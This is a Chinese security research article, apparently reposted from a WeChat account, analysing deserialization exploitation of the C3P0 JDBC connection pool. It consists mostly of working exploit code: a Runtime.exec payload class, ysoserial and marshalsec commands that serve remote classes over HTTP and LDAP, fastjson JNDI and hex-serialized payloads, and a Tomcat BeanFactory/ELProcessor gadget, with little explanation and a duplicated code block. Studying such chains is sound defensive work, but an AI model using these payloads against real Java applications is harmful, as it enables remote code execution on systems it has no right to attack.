C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。它是异步操作的，通过帮助进程完成缓慢的JDBC操作。扩展这些操作可以有效地提升性能。c3p0具有自动回收空闲连接功能，用于缓存和重用PreparedStatements支持。它是一个成熟的、高并发的JDBC连接池库，目前被hibernate、spring等开源项目广泛使用。
1.1 C3P0使用
//1.加载驱动
Class.forName("com.mysql.jdbc.Driver");
//2.连接数据库URL
String url = "jdbc:mysql://localhost:3306/test?" +"user=root&password=root";
//3.获取数据库连接
conn = DriverManager.getConnection(url);
//1.加载驱动
Class.forName("com.mysql.jdbc.Driver");
//2.连接数据库URL
String url = "jdbc:mysql://localhost:3306/test?" +"user=root&password=root";
//3.获取数据库连接
conn = DriverManager.getConnection(url);
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "open -a calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
}
}
}
javac Exploit.java
python3 -m http.server 7777
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:7777/:Exploit" > poc.ser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Main {
public static void main(String args[]) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("/path/poc.ser"));
in.readObject();
}
}
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class C3p0main {
public static void main ( final String[] args ) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:7777/:Exploit");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}
2.2 反序列化分析
import com.alibaba.fastjson.JSON;
class Fastjosndemo{
public static void main(String[] args) {
String payload = "{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1099/Exploit", "loginTimeout":0}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:7777/#Exec 1099
4.1 BeanFactory
private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public PoolSource(){
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
public PoolSource(String classFactory, String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec("open -a calculator.app")"));
return ref;
}
……
}
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
java -jar ysoserial-0.0.5.jar CommonsCollections5 "open -a calculator.app" > payload.ser
import com.alibaba.fastjson.JSON;
class C3P0demo{
public static void main(String[] args) {
String payload = "{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex十六进制payloadn"}}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
原文始发于微信公众号（山石网科安全技术研究院）：开源JDBC连接池C3p0反序列化利用分析
